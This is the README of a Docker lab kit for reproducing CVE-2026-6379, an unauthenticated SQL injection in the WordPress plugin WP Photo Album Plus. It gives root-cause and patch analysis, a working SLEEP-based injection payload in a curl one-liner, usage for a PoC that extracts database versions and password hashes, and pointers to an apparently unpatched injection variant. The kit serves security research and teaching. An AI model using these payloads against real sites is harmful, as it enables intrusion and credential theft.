
Docker-based lab kit for CVE-2026-6379, an unauthenticated SQL injection in WP Photo Album Plus. Includes time-based blind PoC, root-cause analysis, and patch validation for authorized security research.
Parameter: wppa-supersearch
Severity: CVSS 8.6 (high) per WPScan/Wordfence
Vendor fix: 2026-04-17 (commit d2b0d05d in WordPressBugBounty mirror)
Public disclosure: 2026-04-27 (WPScan)
This kit gives you a self-contained Docker lab and a working PoC so you can reproduce, validate, and teach the bug end-to-end.
# On the lab host:
cd lab && ./setup.sh
# When the installer prints "=== LAB READY ===" with a page_id:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
A vulnerable target replies in ~5s to the SLEEP probe; a patched target replies in .
<1sManual one-liner check:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # this file
├── docs/
│ ├── writeup.md # root-cause + patch analysis
│ └── prompts.md # AI-research prompts that distilled this kit
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # bring-up / tear-down / purge
│ └── init/install.sh # idempotent installer (wp-cli)
└── pocs/
├── exploit.py # time-based blind SQLi (probe / version / user / hash)
└── test_oracle.sh # end-to-end integration test
wppa_get_photos() parses the request parameter wppa-supersearch as a
CSV s1,type,s3,DATA. When type='o' (Owner), DATA is concatenated
directly into a SQL string:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
No quoting, no $wpdb->prepare. Setting wppa-supersearch=,o,,x' OR (...)-- -
escapes the quoted owner and runs arbitrary SQL. The endpoint is the public
front-end page that hosts the [wppa] shortcode, so no authentication is
required.
The fix wraps every previously-concatenated case in $wpdb->prepare(..., %s).
d2b0d05d)The CVE-2026-6379 patch rewrites six distinct SQL sinks inside
wppa_get_photos() in wppa-functions.php. Both PoC modes (probe and
probe-calendar) hit independent ones; the others differ only in payload
shape. All are unauthenticated and reachable via the same wppa-occur=N
gating as the primary sink.
| # | Sink (vulnerable line) | Trigger parameters | PoC mode |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (line 1244) | wppa-supersearch=,o,,… | --mode probe (validated live) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (line 1237) | wppa-supersearch=,n,,… | not exploited (slug filter strips quotes) |
| 3 | tag — WHERE tags LIKE '%$d%' (line 1254) | wppa-supersearch=,g,,… | constrained by wppa_sanitize_tags() |
| 4 | calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (line 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (validated live) |
| 5 | calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (line 1368) | wppa-calendar=timestamp&wppa-caldate=… | numeric coercion (intval) — limited |
| 6 | calendar modified — same as timestamp (line 1375) | wppa-calendar=modified&wppa-caldate=… | numeric coercion — limited |
Lines #4–#6 also stripped a dangling ORDER BY $order fragment in the same
commit — see "Related hardening" below.
A broader audit of wppa-functions.php against the same vulnerable build
surfaced sinks outside the CVE-2026-6379 patch. They are not what
WPScan/Wordfence published, and not all are equally exploitable, but they
are documented here so the lab is useful for variant hunting too.
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — likely separate vulnerabilityStatus: present in 9.1.11.001 (post-patch). Not addressed by d2b0d05d.
Candidate for a follow-up CVE.
%s is not valid for a comma-separated IN list (it always emits a single
quoted string). The plugin works around that by wrapping the prepared
statement in stripslashes(), which removes the very escaping prepare()
just added — re-opening the injection if any list element is attacker-tainted.
Representative occurrences: wppa-functions.php lines 660, 711, 831, 838,
889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465,
1470, 1476, 1481, 1491.
Hunt query for variant analysis:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — partially addressedThe patch removed ORDER BY $order from the calendar/IN-clause sinks but
left it in others. $order is set from plugin runtime state (settings
table) — exploitability requires a write path into that state. Treat as
hardening.
wp_strip_all_tags() used as SQL sanitizer (variant of #4)wp_strip_all_tags strips HTML, not SQL. Wherever it appears around a
quoted SQL fragment, that fragment is injectable. Beyond caldate, audit
any other request value that flows through this function before
concatenation.
| State | probe | probe-calendar |
|---|---|---|
| Vulnerable (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| Patched (9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| Plugin disabled | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Page without [wppa] shortcode | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
Switch versions on a running lab:
# Patched:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# Re-run probe; should be negative.
admin / adminadmin — never expose to the internet../setup.sh purge (drops the database volume).wppa-functions.php (vulnerable): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (patched): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php